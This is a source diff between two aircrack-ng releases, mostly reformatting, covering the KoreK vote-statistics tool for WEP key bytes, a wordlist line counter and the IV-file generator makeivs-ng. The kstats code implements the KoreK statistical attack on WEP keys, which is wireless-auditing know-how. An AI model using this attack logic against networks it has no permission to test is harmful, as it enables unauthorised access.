-            if( n <= 0 || n >= (int) pkh.caplen )
-                continue;
+			if (n <= 0 || n >= (int) pkh.caplen) continue;
 
-            h80211 += n; pkh.caplen -= n;
-        }
+			h80211 += n;
+			pkh.caplen -= n;
+		}
 
-		if( pfh.linktype == LINKTYPE_PPI_HDR )
+		if (pfh.linktype == LINKTYPE_PPI_HDR)
 		{
 			/* Remove the PPI header */
 
-			n = le16_to_cpu(*(unsigned short *)( h80211 + 2));
+			n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
 
-			if( n <= 0 || n>= (int) pkh.caplen )
-				continue;
+			if (n <= 0 || n >= (int) pkh.caplen) continue;
 
 			/* for a while Kismet logged broken PPI headers */
-			if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 )
+			if (n == 24 && le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
 				n = 32;
 
-			if( n <= 0 || n>= (int) pkh.caplen )
-				continue;
+			if (n <= 0 || n >= (int) pkh.caplen) continue;
 
-			h80211 += n; pkh.caplen -= n;
+			h80211 += n;
+			pkh.caplen -= n;
 		}
 
-        ret = dump_add_packet(h80211, pkh.caplen);
+		ret = dump_add_packet(h80211, pkh.caplen);
 
-        if(ret == IVS) ++nbivs;
-    }
-    fclose( f_in );
-    fclose( G.f_ivs );
+		if (ret == IVS) ++nbivs;
+	}
+	fclose(f_in);
+	fclose(G.f_ivs);
 
-    printf( "\33[2KRead %ld packets.\n", nbr );
+	erase_line(2);
+	printf("Read %lu packets.\n", nbr);
 
-    if ( nbivs > 0 )
-        printf( "Written %ld IVs.\n", nbivs);
-    else
-    {
-        remove ( argv[3] );
-        puts("No IVs written");
-    }
+	if (nbivs > 0)
+		printf("Written %lu IVs.\n", nbivs);
+	else
+	{
+		remove(argv[3]);
+		puts("No IVs written");
+	}
 
-    return( 0 );
+	return (0);
 }

aircrack-ng-1.2-rc4.tar.gz/src/kstats.c -> aircrack-ng-1.4.tar.gz/src/kstats.c Changed

@@ -1,7 +1,7 @@
 /*
  *  Kstat: displays the votes of the korek attack for each keybyte
  *
- *  Copyright (C) 2006-2016 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *  Copyright (C) 2006-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
  *  Copyright (C) 2004, 2005  Christophe Devine
  *
  *  This program is free software; you can redistribute it and/or modify
@@ -16,403 +16,424 @@
  *
  *  You should have received a copy of the GNU General Public License
  *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
  */
 
 #include <string.h>
 #include <stdlib.h>
 #include <stdio.h>
 
-#include "common.h"
+#include "aircrack-util/common.h"
 
+#define IVBUF_SIZE (5UL * 0xFFFFFF)
 #define N_ATTACKS 17
 
 enum KoreK_attacks
 {
-    A_u15,                      /* semi-stable  15%             */
-    A_s13,                      /* stable       13%             */
-    A_u13_1,                    /* unstable     13%             */
-    A_u13_2,                    /* unstable ?   13%             */
-    A_u13_3,                    /* unstable ?   13%             */
-    A_s5_1,                     /* standard      5% (~FMS)      */
-    A_s5_2,                     /* other stable  5%             */
-    A_s5_3,                     /* other stable  5%             */
-    A_u5_1,                     /* unstable      5% no good ?   */
-    A_u5_2,                     /* unstable      5%             */
-    A_u5_3,                     /* unstable      5% no good     */
-    A_u5_4,                     /* unstable      5%             */
-    A_s3,                       /* stable        3%             */
-    A_4_s13,                    /* stable       13% on q = 4    */
-    A_4_u5_1,                   /* unstable      5% on q = 4    */
-    A_4_u5_2,                   /* unstable      5% on q = 4    */
-    A_neg                       /* helps reject false positives */
+	A_u15, /* semi-stable  15%             */
+	A_s13, /* stable       13%             */
+	A_u13_1, /* unstable     13%             */
+	A_u13_2, /* unstable ?   13%             */
+	A_u13_3, /* unstable ?   13%             */
+	A_s5_1, /* standard      5% (~FMS)      */
+	A_s5_2, /* other stable  5%             */
+	A_s5_3, /* other stable  5%             */
+	A_u5_1, /* unstable      5% no good ?   */
+	A_u5_2, /* unstable      5%             */
+	A_u5_3, /* unstable      5% no good     */
+	A_u5_4, /* unstable      5%             */
+	A_s3, /* stable        3%             */
+	A_4_s13, /* stable       13% on q = 4    */
+	A_4_u5_1, /* unstable      5% on q = 4    */
+	A_4_u5_2, /* unstable      5% on q = 4    */
+	A_neg /* helps reject false positives */
 };
 
-int K_COEFF[N_ATTACKS] =
-{
-        15, 13, 12, 12, 12, 5, 5, 5, 3, 4, 3, 4, 3, 13, 4, 4, -20
-};
+int K_COEFF[N_ATTACKS]
+	= {15, 13, 12, 12, 12, 5, 5, 5, 3, 4, 3, 4, 3, 13, 4, 4, -20};
 
-void calc_votes( unsigned char *ivbuf, long nb_ivs,
-                 unsigned char *key, int B,
-                 int votes[N_ATTACKS][256] )
+static void calc_votes(unsigned char * ivbuf,
+					   long nb_ivs,
+					   unsigned char * key,
+					   int B,
+					   int votes[N_ATTACKS][256])
 {
-    int i, j;
-    long xv;
-    unsigned char R[256], jj[256];
-    unsigned char S[256], Si[256];
-    unsigned char K[64];
-
-    unsigned char io1, o1, io2, o2;
-    unsigned char Sq, dq, Kq, jq, q;
-    unsigned char S1, S2, J2, t2;
-
-    for( i = 0; i < 256; i++ )
-        R[i] = i;
-
-    q = 3 + B;
-
-    memcpy( K + 3, key, B );
-    memset( votes, 0, sizeof( int ) * N_ATTACKS * 256 );
-
-    for( xv = 0; xv < nb_ivs; xv += 5 )
-    {
-        memcpy( K, &ivbuf[xv], 3 );
-        memcpy( S,  R, 256 );
-        memcpy( Si, R, 256 );
-
-        for( i = j = 0; i < q; i++ )
-        {
-            jj[i] = j = ( j + S[i] + K[i & 15] ) & 0xFF;
-            SWAP( S[i], S[j] );
-        }
-
-        i = q; do { i--; SWAP(Si[i],Si[jj[i]]); } while( i != 0 );
-
-        o1 = ivbuf[xv + 3] ^ 0xAA; io1 = Si[o1]; S1 = S[1];
-        o2 = ivbuf[xv + 4] ^ 0xAA; io2 = Si[o2]; S2 = S[2];
-        Sq = S[q]; dq = Sq + jj[q - 1];
-
-        if( S2 == 0 )
-        {
-            if( ( S1 == 2 ) && ( o1 == 2 ) )
-            {
-                Kq = 1 - dq; votes[A_neg][Kq]++;
-                Kq = 2 - dq; votes[A_neg][Kq]++;
-            }
-            else if( o2 == 0 )
-            {
-                Kq = 2 - dq; votes[A_neg][Kq]++;
-            }
-        }
-        else
-        {
-            if( ( o2 == 0 ) && ( Sq == 0 ) )
-            {
-                Kq = 2 - dq; votes[A_u15][Kq]++;
-            }
-        }
-
-        if( ( S1 == 1 ) && ( o1 == S2 ) )
-        {
-            Kq = 1 - dq; votes[A_neg][Kq]++;
-            Kq = 2 - dq; votes[A_neg][Kq]++;
-        }
-
-        if( ( S1 == 0 ) && ( S[0] == 1 ) && ( o1 == 1 ) )
-        {
-            Kq = 0 - dq; votes[A_neg][Kq]++;
-            Kq = 1 - dq; votes[A_neg][Kq]++;
-        }
-
-        if( S1 == q )
-        {
-            if( o1 == q )
-            {
-                Kq = Si[0] - dq; votes[A_s13][Kq]++;
-            }
-            else if( ( ( 1 - q - o1 ) & 0xFF ) == 0 )
-            {
-                Kq = io1 - dq; votes[A_u13_1][Kq]++;
-            }
-            else if( io1 < q )
-            {
-                jq = Si[( io1 - q ) & 0xFF];
-
-                if( jq != 1 )
-                {
-                    Kq = jq - dq; votes[A_u5_1][Kq]++;
-                }
-            }
-        }
-
-        if( ( io1 == 2 ) && ( S[q] == 1 ) )
-        {
-            Kq = 1 - dq; votes[A_u5_2][Kq]++;
-        }
-
-        if( S[q] == q )
-        {
-            if( ( S1 == 0 ) && ( o1 == q ) )
-            {
-                Kq = 1 - dq; votes[A_u13_2][Kq]++;
-            }
-            else if( ( ( ( 1 - q - S1 ) & 0xFF ) == 0 ) && ( o1 == S1 ) )
-            {
-                Kq = 1 - dq; votes[A_u13_3][Kq]++;
-            }
-            else if( ( S1 >= ( ( -q ) & 0xFF ) )
-                     && ( ( ( q + S1 - io1 ) & 0xFF ) == 0 ) )
-            {
-                Kq = 1 - dq; votes[A_u5_3][Kq]++;
-            }
-        }
-
-        if( ( S1 < q ) && ( ( ( S1 + S[S1] - q ) & 0xFF ) == 0 )  &&
-            ( io1 != 1 ) && ( io1 != S[S1] ) )
-        {
-            Kq = io1 - dq; votes[A_s5_1][Kq]++;
-        }
-
-        if( ( S1 > q ) && ( ( ( S2 + S1 - q ) & 0xFF ) == 0 ) )
-        {
-            if( o2 == S1 )
-            {
-                jq = Si[(S1 - S2) & 0xFF];
-
-                if( ( jq != 1 ) && ( jq != 2 ) )
-                {
-                    Kq = jq - dq; votes[A_s5_2][Kq]++;
-                }
-            }
-            else if( o2 == ( ( 2 - S2 ) & 0xFF ) )
-            {
-                jq = io2;
-
-                if( ( jq != 1 ) && ( jq != 2 ) )
-                {
-                    Kq = jq - dq; votes[A_s5_3][Kq]++;
-                }
-            }
-        }
-
-        if( ( S[1] != 2 ) && ( S[2] != 0 ) )
-        {
-            J2 = S[1] + S[2];
-
-            if( J2 < q )
-            {
-                t2 = S[J2] + S[2];
-
-                if( ( t2 == q ) && ( io2 != 1 ) && ( io2 != 2 )
-                    && ( io2 != J2 ) )
-                {
-                    Kq = io2 - dq; votes[A_s3][Kq]++;
-                }
-            }
-        }
-
-        if( S1 == 2 )
-        {
-            if( q == 4 )
-            {
-                if( o2 == 0 )
-                {
-                    Kq = Si[0] - dq; votes[A_4_s13][Kq]++;
-                }
-                else
-                {
-                    if( ( jj[1] == 2 ) && ( io2 == 0 ) )
-                    {
-                        Kq = Si[254] - dq; votes[A_4_u5_1][Kq]++;
-                    }
-                    if( ( jj[1] == 2 ) && ( io2 == 2 ) )
-                    {
-                        Kq = Si[255] - dq; votes[A_4_u5_2][Kq]++;
-                    }
-                }
-            }
-            else if( ( q > 4 ) && ( ( S[4] + 2 ) == q ) &&
-                     ( io2 != 1 ) && ( io2 != 4 ) )
-            {
-                Kq = io2 - dq; votes[A_u5_4][Kq]++;
-            }
-        }
-    }
+	int i, j;
+	long xv;
+	unsigned char R[256], jj[256];
+	unsigned char S[256], Si[256];
+	unsigned char K[64];
+
+	unsigned char io1, o1, io2, o2;
+	unsigned char Sq, dq, Kq, jq, q;
+	unsigned char S1, S2, J2, t2;
+
+	for (i = 0; i < 256; i++) R[i] = i;
+
+	q = 3 + B;
+
+	memcpy(K + 3, key, B);
+	memset(votes, 0, sizeof(int) * N_ATTACKS * 256);
+
+	for (xv = 0; xv < nb_ivs; xv += 5)
+	{
+		memcpy(K, &ivbuf[xv], 3);
+		memcpy(S, R, 256);
+		memcpy(Si, R, 256);
+
+		for (i = j = 0; i < q; i++)
+		{
+			jj[i] = j = (j + S[i] + K[i & 15]) & 0xFF;
+			SWAP(S[i], S[j]);
+		}
+
+		i = q;
+		do
+		{
+			i--;
+			SWAP(Si[i], Si[jj[i]]);
+		} while (i != 0);
+
+		o1 = ivbuf[xv + 3] ^ 0xAA;
+		io1 = Si[o1];
+		S1 = S[1];
+		o2 = ivbuf[xv + 4] ^ 0xAA;
+		io2 = Si[o2];
+		S2 = S[2];
+		Sq = S[q];
+		dq = Sq + jj[q - 1];
+
+		if (S2 == 0)
+		{
+			if ((S1 == 2) && (o1 == 2))
+			{
+				Kq = 1 - dq;
+				votes[A_neg][Kq]++;
+				Kq = 2 - dq;
+				votes[A_neg][Kq]++;
+			}
+			else if (o2 == 0)
+			{
+				Kq = 2 - dq;
+				votes[A_neg][Kq]++;
+			}
+		}
+		else
+		{
+			if ((o2 == 0) && (Sq == 0))
+			{
+				Kq = 2 - dq;
+				votes[A_u15][Kq]++;
+			}
+		}
+
+		if ((S1 == 1) && (o1 == S2))
+		{
+			Kq = 1 - dq;
+			votes[A_neg][Kq]++;
+			Kq = 2 - dq;
+			votes[A_neg][Kq]++;
+		}
+
+		if ((S1 == 0) && (S[0] == 1) && (o1 == 1))
+		{
+			Kq = 0 - dq;
+			votes[A_neg][Kq]++;
+			Kq = 1 - dq;
+			votes[A_neg][Kq]++;
+		}
+
+		if (S1 == q)
+		{
+			if (o1 == q)
+			{
+				Kq = Si[0] - dq;
+				votes[A_s13][Kq]++;
+			}
+			else if (((1 - q - o1) & 0xFF) == 0)
+			{
+				Kq = io1 - dq;
+				votes[A_u13_1][Kq]++;
+			}
+			else if (io1 < q)
+			{
+				jq = Si[(io1 - q) & 0xFF];
+
+				if (jq != 1)
+				{
+					Kq = jq - dq;
+					votes[A_u5_1][Kq]++;
+				}
+			}
+		}
+
+		if ((io1 == 2) && (S[q] == 1))
+		{
+			Kq = 1 - dq;
+			votes[A_u5_2][Kq]++;
+		}
+
+		if (S[q] == q)
+		{
+			if ((S1 == 0) && (o1 == q))
+			{
+				Kq = 1 - dq;
+				votes[A_u13_2][Kq]++;
+			}
+			else if ((((1 - q - S1) & 0xFF) == 0) && (o1 == S1))
+			{
+				Kq = 1 - dq;
+				votes[A_u13_3][Kq]++;
+			}
+			else if ((S1 >= ((-q) & 0xFF)) && (((q + S1 - io1) & 0xFF) == 0))
+			{
+				Kq = 1 - dq;
+				votes[A_u5_3][Kq]++;
+			}
+		}
+
+		if ((S1 < q) && (((S1 + S[S1] - q) & 0xFF) == 0) && (io1 != 1)
+			&& (io1 != S[S1]))
+		{
+			Kq = io1 - dq;
+			votes[A_s5_1][Kq]++;
+		}
+
+		if ((S1 > q) && (((S2 + S1 - q) & 0xFF) == 0))
+		{
+			if (o2 == S1)
+			{
+				jq = Si[(S1 - S2) & 0xFF];
+
+				if ((jq != 1) && (jq != 2))
+				{
+					Kq = jq - dq;
+					votes[A_s5_2][Kq]++;
+				}
+			}
+			else if (o2 == ((2 - S2) & 0xFF))
+			{
+				jq = io2;
+
+				if ((jq != 1) && (jq != 2))
+				{
+					Kq = jq - dq;
+					votes[A_s5_3][Kq]++;
+				}
+			}
+		}
+
+		if ((S[1] != 2) && (S[2] != 0))
+		{
+			J2 = S[1] + S[2];
+
+			if (J2 < q)
+			{
+				t2 = S[J2] + S[2];
+
+				if ((t2 == q) && (io2 != 1) && (io2 != 2) && (io2 != J2))
+				{
+					Kq = io2 - dq;
+					votes[A_s3][Kq]++;
+				}
+			}
+		}
+
+		if (S1 == 2)
+		{
+			if (q == 4)
+			{
+				if (o2 == 0)
+				{
+					Kq = Si[0] - dq;
+					votes[A_4_s13][Kq]++;
+				}
+				else
+				{
+					if ((jj[1] == 2) && (io2 == 0))
+					{
+						Kq = Si[254] - dq;
+						votes[A_4_u5_1][Kq]++;
+					}
+					if ((jj[1] == 2) && (io2 == 2))
+					{
+						Kq = Si[255] - dq;
+						votes[A_4_u5_2][Kq]++;
+					}
+				}
+			}
+			else if ((q > 4) && ((S[4] + 2) == q) && (io2 != 1) && (io2 != 4))
+			{
+				Kq = io2 - dq;
+				votes[A_u5_4][Kq]++;
+			}
+		}
+	}
 }
 
-typedef struct { int idx, val; } vote;
+typedef struct
+{
+	int idx, val;
+} vote;
 
-int cmp_votes( const void *bs1, const void *bs2 )
+static int cmp_votes(const void * bs1, const void * bs2)
 {
-    if( ((vote *) bs1)->val < ((vote *) bs2)->val )
-        return(  1 );
+	if (((vote *) bs1)->val < ((vote *) bs2)->val) return (1);
 
-    if( ((vote *) bs1)->val > ((vote *) bs2)->val )
-        return( -1 );
+	if (((vote *) bs1)->val > ((vote *) bs2)->val) return (-1);
 
-    return( 0 );
+	return (0);
 }
 
-int main( int argc, char *argv[] )
+int main(int argc, char * argv[])
 {
-    FILE *f;
-    long nb_ivs;
-    int i, n, B, *vi;
-    int votes[N_ATTACKS][256];
-
-    unsigned char *ivbuf, *s;
-    unsigned char buffer[4096];
-    unsigned char wepkey[16];
-
-    vote poll[64][256];
-
-    if( argc != 3 )
-    {
-        printf( "usage: kstats <ivs file> <104-bit key>\n" );
-        return( 1 );
-    }
-
-    i = 0;
-    s = (unsigned char * ) argv[2];
-
-    buffer[0] = s[0];
-    buffer[1] = s[1];
-    buffer[2] = '\0';
-
-    while( sscanf( (char*) buffer, "%x", &n ) == 1 )
-    {
-        if( n < 0 || n > 255 )
-        {
-            fprintf( stderr, "Invalid wep key.\n" );
-            return( 1 );
-        }
-
-        wepkey[i++] = n;
+	FILE * f;
+	long nb_ivs;
+	int i, n, B, *vi;
+	int votes[N_ATTACKS][256];
+
+	unsigned char *ivbuf, *s;
+	unsigned char buffer[4096];
+	unsigned char wepkey[16];
+
+	vote poll[64][256];
+
+	if (argc != 3)
+	{
+		printf("usage: kstats <ivs file> <104-bit key>\n");
+		return (1);
+	}
+
+	i = 0;
+	s = (unsigned char *) argv[2];
+
+	buffer[0] = s[0];
+	buffer[1] = s[1];
+	buffer[2] = '\0';
+
+	while (sscanf((char *) buffer, "%x", &n) == 1)
+	{
+		if (n < 0 || n > 255)
+		{
+			fprintf(stderr, "Invalid wep key.\n");
+			return (1);
+		}
+
+		wepkey[i++] = n;
+
+		if (i >= 16) break;
 
-        if( i >= 16 ) break;
+		s += 2;
 
-        s += 2;
+		if (s[0] == ':' || s[0] == '-') s++;
 
-        if( s[0] == ':' || s[0] == '-' )
-            s++;
+		if (s[0] == '\0' || s[1] == '\0') break;
 
-        if( s[0] == '\0' || s[1] == '\0' )
-            break;
+		buffer[0] = s[0];
+		buffer[1] = s[1];
+	}
 
-        buffer[0] = s[0];
-        buffer[1] = s[1];
-    }
+	if (i != 13)
+	{
+		fprintf(stderr, "Invalid wep key.\n");
+		return (1);
+	}
 
-    if( i != 13 )
-    {
-        fprintf( stderr, "Invalid wep key.\n" );
-        return( 1 );
-    }
+	if ((ivbuf = (unsigned char *) malloc(IVBUF_SIZE)) == NULL)
+	{
+		perror("malloc");
+		return (1);
+	}
 
-    if( ( ivbuf = (unsigned char *) malloc( 5 * 0xFFFFFF ) ) == NULL )
-    {
-        perror( "malloc" );
-        return( 1 );
-    }
+	memset(ivbuf, 0, IVBUF_SIZE);
 
-    if( ( f = fopen( argv[1], "rb" ) ) == NULL )
-    {
-    	free(ivbuf);
-        perror( "fopen" );
-        return( 1 );
-    }
+	if ((f = fopen(argv[1], "rb")) == NULL)
+	{
+		free(ivbuf);
+		perror("fopen");
+		return (1);
+	}
 
-    if( fread( buffer, 1, 4, f ) != 4 )
-    {
-    	free(ivbuf);
-    	fclose(f);
-        perror( "fread header" );
-        return( 1 );
-    }
+	if (fread(buffer, 1, 4, f) != 4)
+	{
+		free(ivbuf);
+		fclose(f);
+		perror("fread header");
+		return (1);
+	}
 
-    if( memcmp( buffer, "\xBF\xCA\x84\xD4", 4 ) != 0 )
-    {
-    	free(ivbuf);
-    	fclose(f);
-        fprintf( stderr, "Not an .IVS file\n" );
-        return( 1 );
-    }
+	if (memcmp(buffer, "\xBF\xCA\x84\xD4", 4) != 0)
+	{
+		free(ivbuf);
+		fclose(f);
+		fprintf(stderr, "Not an .IVS file\n");
+		return (1);
+	}
 
-    nb_ivs = 0;
+	nb_ivs = 0;
 
-    while( 1 )
-    {
-        if( fread( buffer, 1, 1, f ) != 1 )
-            break;
+	while (1)
+	{
+		if (fread(buffer, 1, 1, f) != 1) break;
 
-        if( buffer[0] != 0xFF )
-            if( fread( buffer + 1, 1, 5, f ) != 5 )
-                break;
+		if (buffer[0] != 0xFF)
+			if (fread(buffer + 1, 1, 5, f) != 5) break;
 
-        if( fread( buffer, 1, 5, f ) != 5 )
-            break;
+		if (fread(buffer, 1, 5, f) != 5) break;
 
-        memcpy( ivbuf + nb_ivs * 5, buffer, 5 );
+		memcpy(ivbuf + nb_ivs * 5, buffer, 5);
 
-        nb_ivs++;
-    }
+		nb_ivs++;
+	}
 
-    for( B = 0; B < 13; B++ )
-    {
-        for( i = 0; i < 256; i++ )
-        {
-            poll[B][i].idx = i;
-            poll[B][i].val = 0;
-        }
+	for (B = 0; B < 13; B++)
+	{
+		for (i = 0; i < 256; i++)
+		{
+			poll[B][i].idx = i;
+			poll[B][i].val = 0;
+		}
 
-        calc_votes( ivbuf, nb_ivs, wepkey, B, votes );
+		calc_votes(ivbuf, nb_ivs, wepkey, B, votes);
 
-        for( n = 0, vi = (int *) votes; n < N_ATTACKS; n++ )
-            for( i = 0; i < 256; i++, vi++ )
-                poll[B][i].val += *vi * K_COEFF[n];
+		for (n = 0, vi = (int *) votes; n < N_ATTACKS; n++)
+			for (i = 0; i < 256; i++, vi++) poll[B][i].val += *vi * K_COEFF[n];
 
-        qsort( poll[B], 256, sizeof( vote ), cmp_votes );
+		qsort(poll[B], 256, sizeof(vote), cmp_votes);
 
-        printf( "KB %02d VALID  %02X",
-                B, wepkey[B] );
+		printf("KB %02d VALID  %02X", B, wepkey[B]);
 
-        for( i = 0; i < 256; i++ )
-            if( poll[B][i].idx == wepkey[B] )
-                printf( "(%4d) ", poll[B][i].val );
+		for (i = 0; i < 256; i++)
+			if (poll[B][i].idx == wepkey[B]) printf("(%4d) ", poll[B][i].val);
 
-        for( i = 0; i < N_ATTACKS; i++ )
-            printf( "%3d  ", votes[i][wepkey[B]] );
+		for (i = 0; i < N_ATTACKS; i++) printf("%3d  ", votes[i][wepkey[B]]);
 
-        printf( "\n" );
+		printf("\n");
 
-        printf( "KB %02d FIRST  %02X(%4d) ",
-                B, poll[B][0].idx, poll[B][0].val );
+		printf("KB %02d FIRST  %02X(%4d) ", B, poll[B][0].idx, poll[B][0].val);
 
-        for( i = 0; i < N_ATTACKS; i++ )
-            printf( "%3d  ", votes[i][poll[B][0].idx] );
+		for (i = 0; i < N_ATTACKS; i++)
+			printf("%3d  ", votes[i][poll[B][0].idx]);
 
-        printf( "\n" );
+		printf("\n");
 
-        printf( "KB %02d SECOND %02X(%4d) ",
-                B, poll[B][1].idx, poll[B][1].val );
+		printf("KB %02d SECOND %02X(%4d) ", B, poll[B][1].idx, poll[B][1].val);
 
-        for( i = 0; i < N_ATTACKS; i++ )
-            printf( "%3d  ", votes[i][poll[B][1].idx] );
+		for (i = 0; i < N_ATTACKS; i++)
+			printf("%3d  ", votes[i][poll[B][1].idx]);
 
-        printf( "\n" );
+		printf("\n");
 
-        printf( "KB %02d THIRD  %02X(%4d) ",
-                B, poll[B][2].idx, poll[B][2].val );
+		printf("KB %02d THIRD  %02X(%4d) ", B, poll[B][2].idx, poll[B][2].val);
 
-        for( i = 0; i < N_ATTACKS; i++ )
-            printf( "%3d  ", votes[i][poll[B][2].idx] );
+		for (i = 0; i < N_ATTACKS; i++)
+			printf("%3d  ", votes[i][poll[B][2].idx]);
 
-        printf( "\n\n" );
-    }
+		printf("\n\n");
+	}
 
-    free(ivbuf);
-    fclose(f);
+	free(ivbuf);
+	fclose(f);
 
-    return( 0 );
+	return (0);
 }

aircrack-ng-1.2-rc4.tar.gz/src/linecount.cpp -> aircrack-ng-1.4.tar.gz/src/linecount.cpp Changed

@@ -1,5 +1,6 @@
 /*
- *  High speed wordcounting functions for ETA calculations by Len White <lwhite at nrw.ca>
+ *  High speed wordcounting functions for ETA calculations by Len White <lwhite
+ * at nrw.ca>
  *
  *  Copyright (C) 2015 Len White <lwhite at nrw.ca>
  *
@@ -15,7 +16,7 @@
  *
  *  You should have received a copy of the GNU General Public License
  *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
  *
  *
  *  In addition, as a special exception, the copyright holders give
@@ -41,7 +42,7 @@
  *  in native Win32 code which helped slightly but was still far slower than
  *  even normal read().
  *
- *  With some people using massive dictionarys 20-25GB in size, it's important
+ *  With some people using massive dictionaries 20-25GB in size, it's important
  *  that this function be as efficient, and as portable as possible.  I used
  *  the time command to compare runtime between all my tests; ifstream ifs()
  *  and ifs.read() were at least 30-50% faster than the next best solution
@@ -59,31 +60,35 @@
 #include <vector>
 #include <ctime>
 #include <string.h>
+#include <sys/types.h>
 #include "linecount.h"
 
 using namespace std;
 
-unsigned int FileRead(istream &is, vector <char> &buff) {
+unsigned int FileRead(istream & is, vector<char> & buff)
+{
 	is.read(&buff[0], buff.size());
 	return is.gcount();
 }
 
-unsigned int countBuffer(const vector <char> &buff, int bufsize) {
+unsigned int countBuffer(const vector<char> & buff, int bufsize)
+{
 	int lines = 0, i = 4;
 	const char * p = &buff[0];
 	unsigned short charct = 0;
 
 	bufsize--;
 
-	while (i++ < bufsize) {
-	    	if (p[i] == '\n') {
-			if (charct > 7)
-				lines++;
+	while (i++ < bufsize)
+	{
+		if (p[i] == '\n')
+		{
+			if (charct > 7) lines++;
 
-			i	+= 1;
-			charct	= 1;
+			i += 1;
+			charct = 1;
 			continue;
-	    	}
+		}
 
 		charct++;
 	}
@@ -91,30 +96,36 @@
 	return lines;
 }
 
-unsigned int linecount(const char *file, off_t offset, size_t offsetmax) {
+unsigned int linecount(const char * file, off_t offset, size_t offsetmax)
+{
 	const int SZ = READBUF_BLKSIZE;
-	std::vector <char> buff(SZ);
+	std::vector<char> buff(SZ);
 	ifstream ifs(file);
 	unsigned int n = 0;
 	int cc = 0;
 	size_t blkcnt = 0;
 
-	if (offset)
-		ifs.seekg(offset, ifs.beg);
+	if (offset) ifs.seekg(offset, ifs.beg);
 
-	// I know doing a redundant loop looks dirty but it's so we don't get a performance penalty
-	// inside the loop if we're not using offsetmax, since some files could be 20+ GB this is important.
-	if (offsetmax) {
-		while ((cc = FileRead(ifs, buff))) {
+	// I know doing a redundant loop looks dirty but it's so we don't get a
+	// performance penalty
+	// inside the loop if we're not using offsetmax, since some files could be
+	// 20+ GB this is important.
+	if (offsetmax)
+	{
+		while ((cc = FileRead(ifs, buff)))
+		{
 			n += countBuffer(buff, cc);
 
-			if (blkcnt >= offsetmax)
-				return n;
+			if (blkcnt >= offsetmax) return n;
 
 			blkcnt++;
 		}
-	} else {
-		while ((cc = FileRead(ifs, buff))) {
+	}
+	else
+	{
+		while ((cc = FileRead(ifs, buff)))
+		{
 			n += countBuffer(buff, cc);
 		}
 	}

aircrack-ng-1.2-rc4.tar.gz/src/linecount.h -> aircrack-ng-1.4.tar.gz/src/linecount.h Changed

aircrack-ng-1.2-rc4.tar.gz/src/makeivs-ng.c -> aircrack-ng-1.4.tar.gz/src/makeivs-ng.c Changed

@@ -1,7 +1,7 @@
- /*
+/*
   * Server for osdep network driver.  Uses osdep itself!  [ph33r teh recursion]
   *
-  *  Copyright (C) 2006-2016 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+  *  Copyright (C) 2006-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
   *  Copyright (C) 2004, 2005 Christophe Devine
   *
   *  This program is free software; you can redistribute it and/or modify
@@ -16,7 +16,7 @@
   *
   *  You should have received a copy of the GNU General Public License
   *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
   */
 
 #include <stdio.h>
@@ -28,510 +28,590 @@
 #include "version.h"
 #include "pcap.h"
 #include "uniqueiv.h"
-#include "common.h"
+#include "aircrack-util/common.h"
 
 #define NULL_MAC "\x00\x00\x00\x00\x00\x00"
 
-extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc);
-extern unsigned char * getmac(char * macAddress, int strict, unsigned char * mac);
-
 char usage[] =
 
-"\n"
-"  %s - (C) 2006-2015 Thomas d\'Otreppe\n"
-"  http://www.aircrack-ng.org\n"
-"\n"
-"  usage: makeivs-ng [options]\n"
-"\n"
-"  Common options:\n"
-"      -b <bssid> : Set access point MAC address\n"
-"      -f <num>   : Number of first IV\n"
-"      -k <key>   : Target network WEP key in hex\n"
-"      -s <num>   : Seed used to setup random generator\n"
-"      -w <file>  : Filename to write IVs into\n"
-"      -c <num>   : Number of IVs to generate\n"
-"      -d <num>   : Percentage of dupe IVs\n"
-"      -e <num>   : Percentage of erroneous keystreams\n"
-"      -l <num>   : Length of keystreams\n"
-"      -n         : Ignores ignores weak IVs\n"
-"      -p         : Uses prng algorithm to generate IVs\n"
-"\n"
-"      --help     : Displays this usage screen\n"
-"\n";
-
-int main( int argc, char *argv[] )
+	"\n"
+	"  %s - (C) 2006-2018 Thomas d\'Otreppe\n"
+	"  https://www.aircrack-ng.org\n"
+	"\n"
+	"  usage: makeivs-ng [options]\n"
+	"\n"
+	"  Common options:\n"
+	"      -b <bssid> : Set access point MAC address\n"
+	"      -f <num>   : Number of first IV\n"
+	"      -k <key>   : Target network WEP key in hex\n"
+	"      -s <num>   : Seed used to setup random generator\n"
+	"      -w <file>  : Filename to write IVs into\n"
+	"      -c <num>   : Number of IVs to generate\n"
+	"      -d <num>   : Percentage of dupe IVs\n"
+	"      -e <num>   : Percentage of erroneous keystreams\n"
+	"      -l <num>   : Length of keystreams\n"
+	"      -n         : Ignores weak IVs\n"
+	"      -p         : Uses prng algorithm to generate IVs\n"
+	"\n"
+	"      --help     : Displays this usage screen\n"
+	"\n";
+
+int main(int argc, char * argv[])
 {
-    int i, j, k, pre_n, n, count=100000, length=16;
-    int paramUsed = 0, keylen=0, zero=0, startiv=0, iv=0;
-    FILE *f_ivs_out;
-    unsigned char K[32];
-    unsigned char S[256];
-//     unsigned char buffer[64];
-    char *s, *filename=NULL;
-    struct ivs2_pkthdr ivs2;
-    struct ivs2_filehdr fivs2;
-    unsigned long long size;
-    int option_index, option, crypt=0;
-    char buf[2048];
-    int weplen=0, nofms=0, prng=0;
-    float errorrate=0, dupe=0;
-    unsigned char bssid[6];
-    int seed=time(NULL), z;
-    int maxivs=0x1000000;
-    unsigned char byte;
-    unsigned char **uiv_root;
-
-    static struct option long_options[] = {
-        {"key",      1, 0, 'k'},
-        {"write",    1, 0, 'w'},
